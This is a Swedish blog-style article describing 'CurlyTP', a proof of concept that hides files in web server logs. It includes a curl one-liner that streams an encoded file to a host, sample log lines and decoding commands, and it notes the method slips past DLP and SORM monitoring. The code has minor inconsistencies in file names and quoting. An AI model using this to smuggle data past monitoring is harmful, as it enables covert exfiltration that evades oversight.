Utbyte av hemliga meddelanden via serverloggar

Enligt Wikipedias definition är en dead drop ett konspirationsverktyg som tjänar till att utbyta information eller vissa föremål mellan människor som använder en hemlig plats. Tanken är att människor aldrig träffas – men de utbyter ändå information för att upprätthålla driftsäkerheten.

Gömman ska inte dra till sig uppmärksamhet. Därför använder de ofta diskreta saker i offlinevärlden: en lös tegelsten i väggen, en biblioteksbok eller en håla i ett träd.

Det finns många krypterings- och anonymiseringsverktyg på Internet, men själva faktumet att använda dessa verktyg drar till sig uppmärksamhet. Dessutom kan de vara blockerade på företags- eller regeringsnivå. Vad ska man göra?

Utvecklaren Ryan Flowers föreslog ett intressant alternativ - använd vilken webbserver som helst som gömställe. Om du tänker efter, vad gör en webbserver? Tar emot förfrågningar, utfärdar filer och skriver loggar. Och den loggar alla förfrågningar, även felaktiga!

Det visar sig att vilken webbserver som helst låter dig spara nästan alla meddelanden i loggen. Blommor undrade hur man använder detta.

Han erbjuder detta alternativ:

  1. Ta en textfil (hemligt meddelande) och beräkna hashen (md5sum).
  2. Vi kodar den (gzip+uuencode).
  3. Vi skriver till loggen med en medvetet felaktig begäran till servern.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

För att läsa en fil måste du utföra dessa operationer i omvänd ordning: avkoda och packa upp filen, kontrollera hashen (hash kan säkert överföras över öppna kanaler).

Utrymmen ersätts med =+=så att det inte finns några mellanslag i adressen. Programmet, som författaren kallar CurlyTP, använder base64-kodning, som e-postbilagor. Begäran görs med ett nyckelord ?transfer?så att mottagaren lätt kan hitta den i loggarna.

Vad ser vi i loggarna i det här fallet?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Som redan nämnts, för att få ett hemligt meddelande måste du utföra operationerna i omvänd ordning:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Processen är lätt att automatisera. Md5sum matchar, och innehållet i filen bekräftar att allt avkodades korrekt.

Metoden är väldigt enkel. "Poängen med den här övningen är bara att bevisa att filer kan överföras genom oskyldiga små webbförfrågningar, och det fungerar på vilken webbserver som helst med vanlig textloggar. I grund och botten är varje webbserver ett gömställe!” skriver Flowers.

Självklart fungerar metoden bara om mottagaren har tillgång till serverloggar. Men sådan åtkomst tillhandahålls till exempel av många värdar.

Hur man använder det?

Ryan Flowers säger att han inte är någon informationssäkerhetsexpert och kommer inte att sammanställa en lista över möjliga användningsområden för CurlyTP. För honom är det bara ett proof of concept att de välbekanta verktygen vi ser varje dag kan användas på ett okonventionellt sätt.

Faktum är att den här metoden har ett antal fördelar jämfört med andra servergömmor som Digital Dead Drop eller PirateBox: det kräver ingen speciell konfiguration på serversidan eller några speciella protokoll - och kommer inte att väcka misstankar hos de som övervakar trafiken. Det är osannolikt att ett SORM- eller DLP-system kommer att skanna URL:er efter komprimerade textfiler.

Detta är ett av sätten att överföra meddelanden genom tjänstefiler. Du kan komma ihåg hur vissa avancerade företag brukade placera Utvecklarjobb i HTTP Headers eller i koden för HTML-sidor.

Utbyte av hemliga meddelanden via serverloggar

Tanken var att bara webbutvecklare skulle se detta påskägg, eftersom en normal person inte skulle titta på rubrikerna eller HTML-koden.

Utbyte av hemliga meddelanden via serverloggar

Källa: will.com

Lägg en kommentar